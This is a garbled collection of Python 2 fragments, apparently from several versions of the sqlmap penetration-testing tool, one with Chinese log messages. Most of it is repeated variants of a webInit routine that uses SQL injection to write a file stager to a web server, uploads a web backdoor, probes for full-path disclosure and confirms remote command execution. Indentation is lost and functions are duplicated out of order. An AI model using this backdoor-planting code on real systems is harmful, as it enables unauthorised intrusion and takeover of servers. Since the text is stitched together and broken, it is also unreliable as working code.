stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# 使用LIMIT 0，1 INTO DUMPFILE方法上传文件
infoMsg = u"尝试通过LIMIT'LINES TERMINATED BY'方法上传'%s'上的文件" % directory
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "尝试查看该文件是否可以从'%s'访问" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# 退回到UNION查询文件上传方法
if not uploaded:
warnMsg = "无法在'%s'中上传文件" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "尝试通过UNION方法将文件上传到'%s'上" % directory
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "正在尝试查看文件是否可以从'%s'访问" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "文件stager上传在'%s', " % directory
warnMsg += "但不动态解释"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "文件stager已成功上传到'%s' - %s" % (directory,
self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_EXTRAS_PATH, "runcmd",
"runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "后门没有通过file stager成功上传，"
warnMsg += "这可能是因为运行Web服务器进程的用户没有权限"
warnMsg += "在运行DBMS进程的用户文件夹中上传文件，因为没有写入权限，"
warnMsg += "或者因为DBMS和Web服务位于不同的服务器上"
logger.warn(warnMsg)
message = "你想尝试使用与文件stager相同的方法? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "命令执行测试"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "后门已经上传，但缺少运行系统命令的必需权限"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "后门已经成功 "
else:
infoMsg = "后门可能已经成功 "
infoMsg += "上传到'%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def unescape(expression, quote=True):
if quote:
unescaped = expression
for item in re.findall(r"'[^']+'", expression, re.S):
try:
unescaped = unescaped.replace(item, "0x%s" % binascii.hexlify(item.strip("'")))
except UnicodeEncodeError:
unescaped = unescaped.replace(item, "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(item.strip("'"))))
else:
unescaped = "0x%s" % binascii.hexlify(expression)
return unescaped
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except self.__sqlite.OperationalError, msg:
logger.warn("(remote) %s" % msg[0])
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close(
) # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except (cx_Oracle.DatabaseError), msg:
logger.warn(msg)
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = WEB_API.ASP
else:
default = WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in arrayizeValue(kb.docRoot):
if success:
break
for directory in directories:
uriPath = ""
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via "
infoMsg += "UNION technique"
logger.info(infoMsg)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems latter)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text")
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except (pymssql.OperationalError, pymssql.ProgrammingError), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG,
"(remote) %s" % msg)
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except (pymssql.OperationalError, pymssql.ProgrammingError), msg:
logger.warn(msg)
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except (pymssql.OperationalError, pymssql.ProgrammingError), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg)
def escaper(value):
retVal = None
try:
retVal = "0x%s" % binascii.hexlify(value)
except UnicodeEncodeError:
retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value))
return retVal
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except self.__sqlite.OperationalError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG,
"(remote) %s" % msg[0])
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except self.__sqlite.OperationalError, msg:
logger.warn(msg[0])
def escaper(value):
retVal = None
try:
retVal = "0x%s" % binascii.hexlify(value)
except UnicodeEncodeError:
retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value))
return retVal